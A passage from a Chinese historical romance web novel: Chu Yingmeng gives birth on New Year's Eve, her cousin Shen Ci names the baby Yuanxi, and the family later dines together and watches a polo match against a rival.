“可以让人闭嘴。”裴珩大度的解释了一句,放在平时压根就不可能。 裴姝知道自家兄长是不屑说假话的,这才放松下来。 “嫂嫂的情况可还好?有没有很难受?”裴姝想起映梦姐姐有孕的时候,就很难受。 “尚好。”裴珩浅浅的笑了起来,说起了不少的事,又请裴姝平时多来看看沈瓷,多陪陪她。 “哥哥放心,我一定会好好的陪着嫂嫂。” 裴姝拍着胸脯保证。 有了好消息,自然不能瞒着家里人,不过一下午的时间,该知道的人都知道了,楚映梦在府上待产,原本每日都盼着妹妹们能来找她玩。 结果竟盼来了这个消息,“这么快?” 丫鬟点了点头,“都说我们表姑娘是个有福气的人。” 可不是有福气吗? 过门才三个月就有了孩子,谁家婆母不会喜欢? 何况还能少许多麻烦。 楚映梦嫁来将军府,公公婆婆是武将,已经非常开明,即便如此外头还有不少酸言酸语。 “这样也好,等阿瓷的孩子出生,两个孩子也不会相差太多,这是好事。”楚思怡摸了摸自己的肚子,开始期待沈瓷的孩子。 她的肚子越来越大,产期也越来越近。 近日孩子也动的频繁,楚映梦夜间总会睡不好。 孕初期的时候更是吐的不行,当姐姐的很担心妹妹。 命人给沈瓷送了不少好吃的。 沈瓷虽然还没有这些反应,但对于表姐的心意也是妥帖的收好。 原本关系就亲近,现在因为有了孩子,联系愈发频繁。 到了除夕那晚,他们正在吃年夜饭,将军府传来消息,说他们少夫人的羊水破了,这会儿正在生产,原本这事儿也不至于闹得人尽皆知。 可谁让这个时候,各家都还在参加宫宴? 楚映梦的产期在除夕,将军府早早的安排好了人手,稳婆,奶娘,大夫,都已经备好,虽说除夕夜赏金都是翻倍。 但将军府找起人手来眼也不眨。 季衍担心去宫中赴宴会撞上楚映梦生孩子,直接拒绝,也幸而没有去,不然府上没个人可如何是好。 但季少将军到底还年轻。 就给父母送口信。 随后也给岳父岳母送了口信。 得知岳母在府上,更是套了车去接岳母。 他的想法还挺简单,生孩子自己帮不了什么忙,可这个时候妻子一定希望有亲娘陪着。 裴氏这回也没有去参加宫宴,原本是要在家中等消息的,没想到女婿直接套了马车来接她。 希望她能够陪楚映梦生产。 除夕夜去人家府上,即便是亲家也不合适,可这个时候裴氏当然不会矫情。 赶到将军府的时候,季衍已经六神无主,见到岳母连连致歉,“此番除夕夜,小婿也知打扰,可映梦很害怕…只能辛苦岳母走一趟。” “贤婿说的哪里话?这个时候能见到映梦,我不知多欣慰。”裴氏没说什么废话,来到后院就走进了产房。 楚映梦先前才吃着饭,却忽然破了羊水,若非季衍一直陪着她,她这会儿可不知道要如何。 但她被嬷嬷们推进产房之后,真真切切的开始害怕。 尤其她们还不让季衍进来。 楚映梦痛得不行,稳婆让她呼吸,可她毫无章法,最信任的人不在身边,丈夫也不在。 她忍不住的哭了起来。 谁知这会儿一睁开眼睛就看见了母亲,“阿娘…阿娘我疼。” 裴氏看着楚映梦这般心疼的不得了,将人抱在怀里安慰,一点点的让她冷静下来。 “听大夫和稳婆的话,孩子好好的,只是还没那么快能生…”裴氏生过那么多的孩子,当然知道此番是什么情况。 阵痛很折磨人,楚映梦时不时的哭两声。 脸色倒是越来越白。 稳婆的话她一直都记在心里,也知道这个时候不能哭,要省着一些力气,“阿娘,你怎么过来了?” “是季衍让人去接我的。”裴氏也懒得去管规矩不规矩的,但凡对她女儿好的,她都会记在心上。 “他说你很害怕,希望我能来陪陪你。” 裴氏说起这些心中满是安慰,季衍担心唐突,殊不知做娘的,是求之不得。 晚些时候待将军和将军夫人归来,知晓季衍去亲家府上接了岳母来,多少是夸赞了几句。 楚映梦这孩子生的并不太顺利。 她痛了许久,一开始甚至还因为太紧张哭的很厉害,直到大年初一的黄昏时分才将孩子生了下来。 楚映梦将孩子生下之后根本没有力气去看一眼。 直接昏睡了过去。 季衍也没去看孩子,眼巴巴的守在楚映梦身边,等她醒来,竟连孩子是什么模样,是男是女都没有弄清楚。 面对楚映梦的时候更是一问三不住,“这,我去找嬷嬷问一问?” 楚映梦才生完孩子,原本是不能动气的,可是她看着季衍这模样,真真是半点都忍不住,“你就什么都没有去问吗?孩子是男是女都不知道?你守着我做什么?!” “那我自然要守着你的。” “孩子要是被别人抱走了呢?” “自家府上有人照看的。” 季衍平白无故的被骂了一顿,心中好生委屈。 “我这不也是想要多陪陪你,我担心你。” 楚映梦被他气得浑身都疼,“还不快去把孩子抱来我看看。” 季衍立刻就去抱孩子。 出门碰上母亲和岳母,两人问起楚映梦的情况,季衍也没藏着掖着,“还能中气十足的骂我,应当是没事的。” 将军夫人和裴氏面面相觑。 两人像是没料到,季衍居然会这么说。 “亲家…你可千万别误会,这小子傻头傻脑的,可不是在说映梦不好。” “这说的哪里话,女婿是什么人,我当然清楚。”裴氏好脾气的笑着,一般人家的女婿,可想不到去接岳母来府上陪妻子生产。 两个孩子感情好,她们当长辈的也放心。 “孩子好福气生在大年初一,只是映梦实在是受苦了,孩子的个头不小。”将军夫人很是心疼儿媳妇。 “大年初一的确是个好日子,是个女娃娃,也不知道取什么名字好。”裴氏刻意提及这个,心中自有担忧,担心亲家不喜是个女娃娃。 “姑娘家自然要取个好听的名儿,这才配得上我们孩子。”将军夫人半点不觉得女孩子有什么不好,甚至觉得女孩子生在大年初一是个有福气的。 两位母亲说说笑笑,而楚映梦也终于见到了自己的孩子,是个很漂亮的小姑娘。 楚映梦没什么力气,不好抱她。 季衍也根本不会抱孩子,这会儿在乳娘的指导下,很是艰难的抱着。 “宝宝。”楚映梦看着她,只觉得心软的一塌糊涂。 季衍虽然觉得孩子软趴趴的像极了一块豆腐,但他抱久了,又觉得这样挺好。 这可是他们的孩子啊。 “宝宝。”季衍傻呵呵的乐着,楚映梦这会儿也懒得搭理他,只问季衍有没有给孩子取名字。 季衍整个人又僵住了。 名字… 还真没来得及。 楚映梦气得不行,直接将人给赶了出去。 季衍委屈的不得了。 他取了不少,不是楚映梦嫌弃不好听么,这也能怪他? * 消息传到永宁侯府的时候,沈瓷就有些坐不住,除夕夜也睡不安稳,时不时的起来,今儿个一早也是如此。 一直等到消息传来才放松下来,这时候沈瓷早就困得不行。 靠在裴珩的怀里打瞌睡,让她睡下也不肯。 这会儿终于愿意去休息。 “阿瓷,去床上睡。” 沈瓷迷迷糊糊的点头,也没反对,任由裴珩抱着她过去,但沈瓷心里还有记挂的事儿,“我要去探望表姐。” “好,我记着,等你睡醒之后,我们就去探望。”裴珩好脾气的安抚着人。 沈瓷得了保证之后,终于沉沉的睡了过去。 孩子如今三个多月,沈瓷的腹部已经有了微微的隆起,裴珩忍不住的伸出手摸了摸她的肚子,孩子现在还小,根本没有胎动。 裴珩听闻表妹生了孩子,心中也很高兴。 同时愈发期待起来,裴珩想去见一见妹夫,想问一问妹夫,当父亲是什么感觉。 第85章 第85章给孩子取个好听的名字…… 孩子生在大年初一,这是个极好的日子,大正月里家家户户都要走亲戚。 将军府中,因为少夫人楚映梦生了孩子,金陵各个世家都送来了贺礼。 但对季家族人而言,就不是什么好事,原本就是走亲戚的日子,因着这档子事,送来将军府的贺礼就更重一分。 族人们并不怎么满意。 殊不知将军夫人也并不怎么乐意。 原本和族人就不算是太熟络的关系,这大过年的,原本就很是麻烦,若她们再提出要看孩子… 才出生的孩子,季夫人并不想给人看,并非她矫情,实在是孩子太弱,那些个七大姑八大姨,不多事的倒也罢了,要是多事儿的非要将孩子抱来抱去的… 而据她所知,季家族内还真有这样的人。 为此楚映梦是不大乐意的,孩子还那么小,怎么能随便抱来抱去? 可若是直接拒绝,少不得还要被人嚼舌头,说他们的孩子娇贵。 为此,将军夫人便让季衍亲自守着孩子,“孩子洗三那日,府上一定很多人,若是有什么不长眼的非要来看孩子抱孩子的,一律回绝了。” 季衍才得了女儿,听母亲说起这事立刻就答应下来,两人让他守好孩子,他便护着个摇篮守在楚映梦的身边。 既能陪着妻子,又能看着孩子。 季小将军沾沾自喜,只觉得自己聪明过人。 * 孩子洗三的那一日,沈瓷和裴珩亲自去了将军府,沈瓷自己也有身孕,便没有在前院多待,而是和裴姝思怡一块儿去看表姐。 她们本也没想着能见着人,结果楚映梦恰好醒来,姊妹几个就想着先来看姐姐,至于孩子什么时候都能看。 裴珩不方便过来,便和季衍在偏殿看孩子。 “有了小侄女,姐夫逢人就乐呵,方才我喊他他的没听见呢。”楚思怡瞧见姐姐后就趁机告状。 楚映梦想起季衍这几日的种种行为,就忍不住的想笑,“他这几日有些傻气,你们别搭理他。” “姐姐此番可还好?听说生产凶险,许久才将孩子生下…”沈瓷担心的看着楚映梦。 楚映梦生产的确有些凶险,因为孩子个头不小,她生的时候有些辛苦。 “阵痛的确折磨人,但稳婆说这是正常的情况,不用太担心,你瞧我现在不是好好的吗?”楚映梦浅浅笑起,她算了算沈瓷的月份,让表妹站起来让她瞧瞧,见沈瓷身形没有太多改变,也悄悄的松了一口气。 “最近胃口可有什么变化?” “肚子可有大起来?” “大了一点点。”沈瓷用手比划着,声音有点羞赧,“就一点点。” 楚映梦忍不住的笑,笑过之后就告诉沈瓷,四五个月的时候少饿了不要一次吃太多的东西,孩子太大的话也不好生产。 “我原本肚子也不大,谁知你们那小侄女养的那般好。”楚映梦生孩子的时候可不大容易,是以这两天,人人都心疼她。 众人闻言也是一脸的心疼,一个劲的关心楚映梦的情况。 “稳婆有经验,并没有太受罪。”楚映梦笑了两声之后就将这件事揭过,问她们有没有去看过孩子。 “还没,见姐姐醒了我们就先来看姐姐,小侄女那儿,表哥过去了。” 楚映梦闻言也没有多说什么,她才生完孩子不过两三日,虽然孩子不用她照顾,府上有乳母,有嬷嬷,可她的精神还是不怎么好,有些乏力。 沈瓷等人原本想告辞让她好好歇着,但楚映梦不让,“我这会儿刚醒,想和你们说说话,一会儿等你们走了,我就要睡一会儿。” “这坐月子也不知什么时候才能见面。” 楚映梦说的好生委屈,她们几个当然要留着陪她。 楚思怡便问起姐姐可有给小侄女取名。 楚映梦原本是没什么精神的,可一提起孩子的名字,就气呼呼的,“你门那个不靠谱的姐夫,根本就没有想好名字。真的是气死我了。” “我生完孩子醒过来,问他孩子是男是女,他居然告诉我,不清楚。”楚映梦是真的很生气,骂骂咧咧了许久,饶是事情都已经过去两三日。 想起来的时候,还是忍不住的骂人。 “姐夫一定是担心姐姐,就什么都顾不上了。”沈瓷软声安慰道,楚映梦其实也知道是这么个事儿,只是当时是真的生气。 孩子的名儿如今还没个着落,只是有了个乳名,叫珠珠。 听着还挺可爱。 是季衍取得,问起季衍缘由,当爹的想法非常简单,家里的姑娘,自然要如珠如宝的爱护。 楚映梦一时间也不知是哭还是笑,“乳名有了着落,可是大名却半点没有头绪。” “我甚至都想着去求一求表哥,让表哥帮孩子取个好听的名儿。”楚映梦无奈道。 众人只当她是在开玩笑。 毕竟孩子的名字,总是要父辈取的? 楚思怡听到这话却开始兴致勃**来,“姐姐,其实也不用表哥,我们也可以给珠珠取名字的。” 当小姨的很能适应自己的身份,才知道孩子的乳名,就已经称呼上。 楚映梦也随她们闹腾,“我让丫鬟去取纸笔来。” 楚映梦兴致勃勃,也想知道她们三个能想出什么名字来。 楚思怡可从来没有那么认真过,连带着裴姝和沈瓷都开始努力起来,纸张上写了一个又一个的字。 楚映梦看着楚思怡抓耳挠腮的模样也忍不住的笑。 她刚刚想说想不出也没有关系,毕竟名字这东西,多是要经过深思熟虑的。 公公也给孙女取了不少名字,但没有一个是符合楚映梦心意的。 武将取名…总绕不开那些个字。 季衍见她不喜欢,便主动说是自己不乐意。 结果还没等楚映梦出声,楚思怡和裴姝两个就惊讶的喊了起来,“姐姐,你瞧瞧这个名字好不好。” 楚映梦见楚思怡和裴姝两个都很激动,也有些好奇,“拿来我瞧瞧。” “别…”沈瓷有点犹豫。 但楚思怡已经将那张纸拿了过去,楚映梦接过,只见上头没写几个字,却有一个名字落在了她的眼中。 “元曦?” “姐姐觉得这个名字可好?”楚思怡的眼睛亮晶晶的,裴姝也适时的看向她。 楚映梦却看向了沈瓷,“是阿瓷取得?” 沈瓷点了点头,“我想着珠珠是大年初一生的,虽是生在夜里,可黑夜过后就是晨曦…” 故而有了这个名字。 “元曦…季元曦?”楚映梦越念越觉得这个名字好听,便让丫鬟去问问季衍觉得行不行。 沈瓷傻了眼,这怎么就到了问姐夫的地步了? 恰好这时候,奶娘将孩子抱了进来,说是少将军吩咐的,让小姨们看一眼孩子,一会儿孩子就要睡了。 沈瓷一时间觉得有些难评,她们一会儿去看不也是一样的 ? “少将军说,我们大姑娘醒着的时候跟睡着时候不一样,醒着更可爱些。” 众人:“……” 楚映梦只觉得着急上火,若非妹妹们还在跟前,她只想将人喊进来数落一顿。 “这孩子长的可真好看。” “思怡要不要抱抱?”楚映梦轻声问道,楚思怡听见这话很是惊喜。 小心翼翼的从乳母手中接过孩子,孩软绵绵的孩子抱在怀里,她其实也有些害怕,可一想到这孩子的身份,就没了害怕的心思。 “珠珠,珠珠。”楚思怡浑身僵硬着,没一会儿就将孩子还给了乳母,可神情间的激动根本就骗不了人。 见过了珠珠之后,楚思怡忍不住的看向了表姐,不知道表姐的孩子是不是也这般可爱。 她想了想,觉得自己简直在说废话,表姐的孩子当然是可爱的。 “这么小的孩子,就长的这般好看,日后一定是个漂亮姑娘。”沈瓷的眼中是毫不掩饰的欣喜,没有父母会不喜欢旁人夸赞自己的孩子。 楚映梦也不例外,她让奶娘去喂孩子,然后将熟睡的孩子送到她身边来。 几个人就围着孩子瞧,安安静静的,甚至连说话的声音都小了许多。 “倒也不用这般小心,乳母说了不必刻意如此,省的孩子胆小,我们正常说话就好。” 有了楚映梦这句话,她们才敢正正经经说话。 不知过了多久,楚映梦的丫鬟过来了,笑意盈盈道:“少夫人,少将军很喜欢这个名字,还夸您取得名儿好听。” “这可不是我的功劳,是我们珠珠的小姨取得好听。” 楚映梦笑的开怀。 沈瓷却听得有些懵,她愣愣的看向表姐,一时间没反应过来。 这名字就这么定下了? “表姐…是不是要在考虑考虑?” 是不是有一些太草率了? “考虑什么?这名字好听又有寓意,我喜欢的紧。”楚映梦是当真喜欢。 沈瓷没想到,自己不过是来参加孩子的洗三,竟给孩子取了名字。 她本以为不过是表姐喜欢,谁知表姐夫也不反对。 将军和将军夫人竟也同意了。 等到沈瓷离开将军府,整个人都还有些茫然。 裴珩也听说了这件事,见沈瓷懵懵的,便忍不住的想笑,“这是怎么了?不愿给小侄女取名字吗?” “当然不是。”沈瓷立刻摇头,“只是…这合适吗?” “有什么不合适的?若非映梦主动提,你也不会主动去想,她会用这刚名字,想来是真的喜欢。” “将军府都不介意,若他们介意就不会用。”裴珩揉了揉沈瓷的手掌,对着沈瓷各种夸赞,倒是让沈瓷有些不好意思。 “只是恰好。” 表姐喜欢她取的名字,愿意给自己的孩子用,对她而言本就是很值得高兴的一件事。 “娘子这般博学,不若将我们孩子的名字一并取了可好?”裴珩看着沈瓷说道。 沈瓷却没有答应,“你怎么能偷懒。” 裴珩哑然失笑,表妹和表妹夫取不好名字她愿意想想,还想的这般用心。 他让她取名字,就是他偷懒? “娘子,你怎么可以区别对待?”裴珩佯装受伤的看着她,“夫人,你可要对我公平一些。” 裴珩靠她很近,温热的气息洒在她的颈侧,沈瓷忍不住的缩了缩脖子,将他推开,正色道,“不许偷懒。” “娘子怎么知道我这是偷懒?”裴珩的眼眸中满是纵容神色,“也许是我觉得自己取得名字比不上娘子的。” “给珠珠取的名字就很好,元月,晨曦。” 沈瓷不说话,觉得裴珩是在打趣她,不然怎么一直笑? “我自是比不上夫君的,你不要取笑我。” 裴珩见她气呼呼的模样,觉得有趣极了,见沈瓷有些恼了才轻声解释,“我不是笑这个名字,名字是极好听的,若不然季将军也不将名字定下。” “我只是想到了另一件事。” 沈瓷明知裴珩是在卖关子,却还是忍不住问他,“是什么?” “就是不知元曦启蒙时写名字会不会哭。” 沈瓷:“……” 她呆呆的看向裴珩,好似他们都忘记这一茬了。 这会儿让表姐去改个名字,可否来得及? 第86章 第86章春日踏青 花朝节的时候,楚映梦终于出了月子,原本坐月子只需要一个月,可婆婆说她头一回生产,一定要好好的养,于是坐了双月子。 她也知是为了自己好,但日日鸡鸭鱼肉的补着。 楚映梦真真快要憋得不行了,好不容易可以出门,她当真是开心。 在花朝节之前,沈瓷就收到不少的请柬,只是这些宴会,她向来都不怎么喜欢去。 如今更甚,能不去就不去。 因着裴珩的身份地位,也没有什么人会来置喙沈瓷,何况她还有身孕,一不小心磕着碰着。 谁都担待不起。 也唯有楚映梦的邀约,她还能放在心上。 楚映梦也没别的心思,不过是想和她们说说话,裴珩早早的订好了酒楼,临窗而坐,又大又宽敞。 楚映梦等人瞧见后都忍不住的打趣,说表哥细心。 沈瓷和裴珩成亲至今已经大半年,面对旁人的打趣已经能够面不改色。 只是当对象换成表姐的时候,沈瓷多少是有些招架不住的,“表姐,你饿不饿?” 楚映梦看了沈瓷一眼,大发慈悲道,“我们瞧瞧今日吃些什么。” 她不用被关在府上,不知有多开心,点了不少自己爱吃的。 沈瓷怀个孩子也没什么反应,和她们吃的也没什么区别。 楚映梦见状有些担心,“这些,你能吃吗?” “可以的。” “夫君说,只要不是大夫命令禁止不能吃的,都可以尝尝。”沈瓷说起这话的时候还有些不好意思,楚映梦摸了摸下巴。 意味深长的看着沈瓷。 沈瓷压根招架不住表姐这般直白的眼神,有些想躲。 “映梦姐姐,可别欺负我嫂嫂,不然一会儿我哥哥回去,可要生我气的。”裴姝温温柔柔的说话,但这说出来的话,是什么意思不言而喻。 沈瓷揉了揉脑袋,不怎么想说话。 好在兄弟姐妹之间都很有分寸,知道有些玩笑不能说的太过,何况如今他们也有不少忌惮,将阿瓷欺负的狠了,万一表哥存心报复他们可怎么办? 他们一群人加在一块儿,也不够表哥报复的。 “珠珠离了你没有关系吗?”楚修筠是个好哥哥,对妹妹一视同仁,并未加入到欺负人的行列,反而是问起楚映梦来。 “有婆婆和乳母照顾,身边还有七八个丫鬟伺候着,当真也轮不上我。”楚映梦不太在意这些,虽说刚开始她还觉得失落,担心孩子会跟自己不亲。 谁曾想季衍晚上归来,只要一得空就抱着孩子哄,教一个月大的奶娃娃喊娘亲。 楚映梦起初听见时还有些诧异,本以为季衍会教孩子喊爹爹,结果他振振有词的说楚映梦是最辛苦的人,孩子当然要先学会喊娘亲。 季衍也不是那种为了孩子忽略她的人,这两个月来季衍任劳任怨,当真是有些委屈他了。 孩子虽然有了名字,只是大家都更习惯唤乳名,季衍的美好祝愿,当舅舅和小姨的,也都不想去破坏。 说起孩子的时候,大家也不可避免的想到了沈瓷,只是这会儿孩子没出生,他们大多也只是问沈瓷的情况。 “我一切都好…”沈瓷的肚子并没有太大,比寻常产妇的要小一些,裴珩先前还仔细的观察过,担心是不是有什么问题,但大夫来瞧过说没有大碍。 裴世子这才放下心来。 “孩子的名儿取好了没有?”楚景澄很关心这个,自从知晓珠珠的名字是沈瓷取的之后,当舅舅的很是羡慕。 跃跃欲试的想给还有一个外甥取名字,只是这希望颇为渺茫。 但…有希望总是好事。 “夫君取了很多名字,我觉得有些挺好,可他一个都不满意…”沈瓷想起这事儿就忍不住的捂着脑袋,她已经分不太清楚裴珩要取一个怎样的名字。 她觉得好的,裴珩总能找到理由反驳,有理有据,引经据典… 仿佛那名字不是他自己取的一般。 “也许只有等孩子出生才能定下来。” 沈瓷都已经不太想讨论这些事,谁让每一次讨论,都让她头疼呢。 一旁的裴姝也点了点头,“哥哥取了好多名字,姑娘小子的都有,但根本就没有一个满意,景澄哥哥,你还是不要在我哥哥面前说起这事儿,容易惹麻烦。” 到时候被无差别的骂一顿可如何是好? 楚景澄一听这话 哪里敢去表哥面前蹦跶。 顿时点头如捣蒜,“放心,放心,我绝不做傻事。” 孩子的名字也帮不上什么忙,不用操心,几人倒是想着可以让两个孩子一块儿去上学,能有个伴。 沈瓷当然也觉得这是好主意,只是提及上学,又让她不得不想起别的事情来… “表姐…元曦那名字…” “这名字怎么了?我很喜欢,你姐夫也喜欢,还说要当面谢谢你,等到珠珠办百日酒的时候,你们可一定要来。”楚映梦压根没注意到什么。 “那个名字这么难写,珠珠日后会不会哭?”沈瓷小心翼翼的问道。 楚映梦也是头一回想到这事,瞬间傻了,他们只顾着好听不好听,别的事儿一概没放在心上。 这会儿听到也是微微一愣,“这…就当练字了。” “姑娘家的字也得好看。”楚映梦一锤定音,干脆利落的将这件事决定下来,字写的不好看那是一时的,可名字若不好听,那就是一辈子的事。 在场的所有人都被楚映梦给说服了。 待日后季元曦哭哭啼啼写名字时,竟没有一个人为她说一句公道话。 实在是可怜的紧。 三月的天已经渐渐暖和,楚映梦推开窗户看向不远处的秦淮河,盘算着等沈瓷生完孩子,她们多久能去游船。 盘算过后才发现,大概还要小半年,心中多少有些失望。 只是窗户已经打开,便也没想着关上,想着透一透气也好。 谁曾想就这么巧,看见了一个分外眼熟的人,从下头的街道经过,手上还提着不少的药包。 楚映梦开个窗户竟发起呆来,楚思怡有些疑惑的走了过来,“姐姐,你在看什么?” “没什么。”楚映梦下意识的开口。 但楚思怡的动作也很快,已经将外头的情形瞧得清楚,“是孟靖淑?” 楚映梦点点头。 楚思怡一时间也不知该说什么才合适,金陵那么大,怎么就那么巧? 她们和孟靖淑其实也没什么瓜葛,可谁让孟靖淑的丈夫,当初差点儿成了她们的姐夫/妹夫。 “姐姐,我听说她一直没有孩子?”楚思怡小声的问了一句。 楚思怡也听到过一些风言风语,她也说不上是什么感觉,她自己也是成亲许久才有的孩子。 可和孟靖淑不同,她和季衍那是一点也不着急。 府上也没什么人催促。 但孟靖淑却不一样,时常能听到她去求医问药。 孟父的官职并不高,韩嵩也不过是小有名气,如今还没到科考的时候。 原本按照他们夫妻二人的身份地位,也不会有人还记得。 可偏偏韩嵩先前差点儿成为沈瓷的未婚夫。 虽然婚约不成。 但沈瓷嫁给了裴珩,从一个孤女变成了永宁侯府的少夫人,身份本就不同。 何况裴世子对外介绍妻子的时候,都是很认真的告诉众人,是沈少夫人。 人人都明白裴珩对沈瓷的重视。 他让他们记住自己的夫人究竟是谁。 因为这些事,韩嵩和孟靖淑也成为了他们茶余饭后的谈资,说不得裴珩和沈瓷,还说不得其他人吗? 尤其对比还这般的惨烈。 韩嵩尚且好一些,最惨的分明是孟靖淑。 她受到的非议是最多的,成亲比沈瓷更早,却一直都没有孩子,什么难听的话都听过。 这件事情上,当真是不公平的。 即便孟家地位更高,韩嵩不过白身,没有孩子这一件事,就足够让孟靖淑在夫家抬不起头。 楚映梦虽不喜欢孟靖淑,但也不会在这些事情上落井下石。 何况冤有头债有主,当初那些事,还不都是韩嵩的错。 楚思怡也是如此,她撇了撇嘴,嘟囔道,“生不出孩子,指不定是那韩嵩有问题呢。” 她说的小声,但楚映梦就站在一旁,将这些话听了个正着,“瞎说什么呢?这话也是可以胡乱说的?” 楚思怡略略不服气,“我说的本就是事实,而且这些话也不是我说的。” 她嘟嘟囔囔的,在楚映梦的追问之下,楚思怡才将来龙去脉说了出来。 原来楚映梦没有孩子,并不是没有人催促的。 楚家的一些七大姑八大姨就挺喜欢多管闲事,也曾当着裴氏的面说起过,让楚映梦去求神拜佛,寻些偏方。 谁知那时候刚好遇上季衍来忠毅伯府给楚映梦取东西,她馋一罐腌菜,季小将军便和大舅哥说好的,顺道来取,因为不是什么要紧事,也没特意提,可巧就那么撞上了。 就这还了得? 季小将军压根忍不了,当面说了这些话,让那些婶子们帮着想想法子,许是他的问题。 搞得楚家那些个姨奶奶姑奶奶面上根本挂不住,脸青一阵白一阵的,很快就散了。 这事儿季衍压根不在乎,可他却顾及楚映梦的心情,让岳母不要将这件事告诉楚映梦。 就当没发生过。 而事实上,季衍许是真的忘了。 因为楚映梦根本不知这些。 “姐姐,你能不能当没听见呀?”楚思怡有些别别扭扭的开口,“我担心姐夫知道后会生我的气。” 谁让她一个不小心说漏了嘴? 楚映梦这会儿心情有些复杂,自然不会和楚思怡计较什么。 既然季衍想让她当做不知道,那她就当做什么都不知道。 都是季衍的心意,总要妥帖的收好。 撞上孟靖淑不过是无关紧要的小插曲,若非楚思怡发现,楚映梦都懒得提,几人原本是想坐一块聚聚,不然也不会选择酒楼。 但许多事儿总是计划赶不上变化。 楚景澄出厢房恰巧被人撞见,恰好这人他也认识,是他们的同窗于舟。 对方盛情邀请他们一块儿去打马球,说是今日风和日丽,是个好天气。 很适合踏青。 “今儿个不成。”楚景澄想也没想的拒绝,“今儿个我还有事。” “你能有什么事儿?过来用午膳?里头是什么人?难道是修筠?我们刚好一块儿,打马球还少个人呢!”于舟和楚家兄弟都很熟,半点也不见外。 楚景澄推脱不行,谁知于舟早有准备,亮出了底牌,“对手可是林书意。” 楚景澄听见这名字,一时有些走不动路,这梁子结了几年,如今也还是见面就掐。 根本没有握手言和的意思。 “可别这么磨磨唧唧,你担心修筠不同意?没事儿,我去跟他说。”于舟急不可耐的怂恿着楚景澄进去。 “修筠啊—” “你听我说—”于舟一边走一边说话,结果才喊了个名字,就被里头的状况给惊呆了。 “哎,哎,哎?!” 怎么那么多人? 于舟傻了眼,眼前这一屋子的人,他基本都认识,可他怎么都没想到竟是这么一个情况。 他一只脚踩在里头,一只脚在外头,进也不是,退也不是。 忍不住的埋怨楚景澄道:“你怎么不早说?” 楚景澄耸了耸肩,他也要有机会说不是? 门已经被推开,于舟便硬着头皮将自己的来意说了一遍,大家伙儿听得清楚。 于是一行人齐刷刷的看向沈瓷。 等她的想法。 “打马球可有没有什么彩头?”沈瓷也有些想去看热闹,便随意找了个理由。 一群人瞬间明了,“对对,我们要去赢彩头。” 理由总是要找全的。 一会儿也好交代不是。 第87章 第87章就是过来看一看热闹的…… 有了商议和打算之后,他们心里便有了数,打算稍稍的吃两口就去校场。 饭菜还没有上来,于舟和他们也算熟悉,见几人邀请他一道坐,也不推辞扭捏,大大方方的坐在一旁。 随便喝了两口茶,掐了两块糕点塞嘴里。 “既然要打马球,你跑过来做什么?”楚景澄有些疑惑的问道,“找不着人了吗?” “我这是专程来找你的。”于舟稍稍舒坦些后,开始诉说自己找人的不易,他们和林书易的过往也不用赘述,总之就是互相看不顺眼 。 楚景澄和楚修筠同他结下梁子,也许最初的时候是因为沈瓷的缘故,但是现在跟沈瓷一点关系都没有。 “这次是因为什么?”楚景澄有些好奇的问道,他们一伙和林书易一伙泾渭分明。 双方人马时常会有摩擦,每次打起来的理由都还不一样。 于舟想到这里,偷偷的看了沈瓷一眼,沈瓷压根就没注意到这边,还是楚景澄看见了,“怎么?和我表妹有关?” “莫非是林书意说了什么?”楚景澄一听压根就忍不住,恨不得现在就冲过去打他一顿。 他还记得沈瓷和他退亲之后,林书意见了她一面,就开始心猿意马起来。 那段时间竟还期期艾艾的来同他和大哥套近乎。 把兄弟俩气得不行。 “和沈少夫人稍稍有些关系。”于舟委婉的说话,“林书易的小跟班,家里有人在大理寺当差,裴世子如今不是在大理寺?” “沈少夫人有孕之后,大多数应酬裴世子那是能推就推,这些事儿我都能有所耳闻,你们自家亲戚想来就更清楚了。”于舟将事情的来龙去脉解释了一遍。 楚景澄算是听明白。 不过就是些酸言酸语,讥讽沈瓷事多的,说是家家户户都生孩子,怎么就她金贵些。 甚至还有些出言讽刺的,说这么金贵,万一生个女儿。 这话听着委实让人不爽。 谁家没有姐姐妹妹呢。 楚景澄听见这话心中愈发不耐,“这群人是疯了吗?” “怎么和碎嘴婆子似得。” 于舟用力的点头,这事儿当真是让人不适。 说三道四,说长道短,村口的寡妇都没他们那么爱说是非。 况且他们和楚家兄弟关系好,这一来二去就像是听见自家人被欺负一般。 “走,等会儿去会会他们。”楚景澄咬牙切齿的骂道,“不打的他满地找牙!” 这件事楚景澄和楚修筠很有默契的没说出来,在所有人的眼中,他们和林书意打起来是再正常不过的事。 至于沈瓷去不去现场,并不太要紧,毕竟… 他们几个在怎么愚蠢,也不会再沈瓷的面前说这些疯话。 一行人浩浩荡荡来到校场,倒是引起了不少骚动,大多数人认出沈瓷来,纷纷上前打招呼。 沈瓷同样认得她们,先前随着舅母出门参加宴会也不是全无用处的。 “沈少夫人,今日怎么有空过来?”人群中出现了一个声音,将众人的疑惑也系数问出。 沈瓷朝她看去,瞧见了一个还算熟悉的面容。 “二表哥说,要来给孩子赢一些彩头。”沈瓷神色平静的说话。 “这可就巧了,下一场的彩头,是一对金锁。” 彩头本就是锦上添花,愿意出什么,都没个定数,沈瓷原本只是随口说说,哪里知道还真的是小孩子的东西。 “一对金锁?”沈瓷有点儿好奇起来。 “怎么会是一对的?难道彩头要成双成对的?这对金锁一模一样吗?”楚思怡略显疑惑的问道。 周遭发出了善意的笑声,开始和楚思怡解释为什么会是一对金锁,“是后头加了一枚,恰好大小都差不多,瞧着像是一对的。” “原是这般。”楚思怡掰着手指开始算,“那得让哥哥好好的努力,他们可有两个外甥呢。” 一人一个,刚刚好。 楚思怡盘算的特别好,然后快速的跑到下头去和哥哥们说。 楚修筠和楚景澄也觉得挺巧。 楚景澄摸了摸下巴,表示一定会好好的努力,原本只是想要杀一杀林书意的气焰,如今倒有了新的目标。 林书意看着楚景澄,倒也想放放狠话,但他没想到会碰见沈瓷,虽说婚约早就退了,他们也男婚女嫁各不相干。 林书意先前的那点心思,早就已经消散了干净,可他到底不想这般掉价。 便狠狠的瞪了楚景澄一眼。 铜锣被敲响,比赛正式的开始,场上一片的喧嚣,沈瓷其实就是来看个热闹的,但另外两个全然不是这般。 “哇,二哥加油!”楚思怡看到楚景澄一马当先的跑了出去,那颗球在他的杆子下,楚思怡激动不已。 很快,球被楚景澄传给楚修筠。 兄弟俩默契十足,配合绝佳,很快就将球打了进去。 旗杆竖起,得了一分。 “好哎!”楚思怡和裴姝两个不太坐得住,已经激动的越凑越近。 楚映梦和沈瓷倒是稳重一些,见她们俩在一旁激动,便招呼两人过来歇歇。 